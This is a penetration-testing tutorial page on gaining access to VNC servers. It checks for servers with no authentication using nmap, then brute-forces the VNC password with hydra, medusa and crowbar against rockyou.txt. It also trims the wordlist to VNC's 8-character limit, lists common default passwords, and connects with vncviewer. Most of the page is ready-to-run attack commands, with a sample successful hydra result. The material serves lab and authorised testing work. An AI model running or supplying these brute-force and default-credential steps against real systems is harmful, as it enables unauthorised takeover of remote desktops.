Skip to content
HackIndex logo

HackIndex

VNC Brute Force and Default Credential Exploitation

2 min read Jul 10, 2026

VNC uses a single shared password with no username. The password is capped at 8 characters — anything beyond that is silently truncated by most implementations. Many deployments ship with blank passwords, weak defaults, or authentication disabled entirely. A successful login gives a full graphical desktop session.

Before running a wordlist attack, check if the target accepts connections with no password at all. That is faster and common in labs.

Checking for No Authentication

The Nmap NSE script vnc-info shows which security types the server offers:

┌──(kali㉿kali)-[~]
└─$ nmap -p 5900 --script vnc-info $TARGET_IP

If the output includes Security types: None or Type 1 - None, connect directly:

┌──(kali㉿kali)-[~]
└─$ vncviewer $TARGET_IP:5900

Press Enter at any password prompt without typing anything. On misconfigured servers this completes immediately. For a dedicated no-auth page see https://hackindex.io/services/vnc/exploitation/unauthenticated-access.

Brute Force with Hydra

┌──(kali㉿kali)-[~]
└─$ hydra -P /usr/share/wordlists/rockyou.txt -t 4 vnc://$TARGET_IP

-t 4 limits threads — VNC servers disconnect or lock out under high concurrency. Keep threads low. For a non-standard port:

┌──(kali㉿kali)-[~]
└─$ hydra -P /usr/share/wordlists/rockyou.txt -t 4 vnc://$TARGET_IP:$PORT 
[5900][vnc] host: 10.10.10.10   password: password1

Brute Force with Medusa

┌──(kali㉿kali)-[~]
└─$ medusa -h $TARGET_IP -P /usr/share/wordlists/rockyou.txt -M vnc

Brute Force with crowbar

crowbar handles the RFB protocol reliably and is worth trying when Hydra gives inconsistent results:

┌──(kali㉿kali)-[~]
└─$ crowbar -b vnckey -s $TARGET_IP/32 -C /usr/share/wordlists/rockyou.txt -n 1

-n 1 forces a single thread — essential for VNC stability.

Filtering the Wordlist for 8-Character Limit

VNC passwords are truncated at 8 characters. Filter rockyou.txt to speed up the attack significantly:

┌──(kali㉿kali)-[~]
└─$ awk 'length($0) <= 8' /usr/share/wordlists/rockyou.txt > rockyou_8char.txt
┌──(kali㉿kali)-[~]
└─$ hydra -P rockyou_8char.txt -t 4 vnc://$TARGET_IP

Common Default VNC Passwords

Try these first before running a full wordlist:

(blank — press Enter)
password
1234
admin
vnc
secret
12345678

Connecting After a Successful Find

┌──(kali㉿kali)-[~]
└─$ vncviewer $TARGET_IP:5900

Supply the password at the prompt. For non-standard ports:

┌──(kali㉿kali)-[~]
└─$ vncviewer $TARGET_IP:$PORT

Non-Standard Port Mapping

VNC display numbers map to ports as 5900 + display. Display 0 is 5900, display 1 is 5901, and so on. Any open port in the 5900–5910 range is likely VNC.

References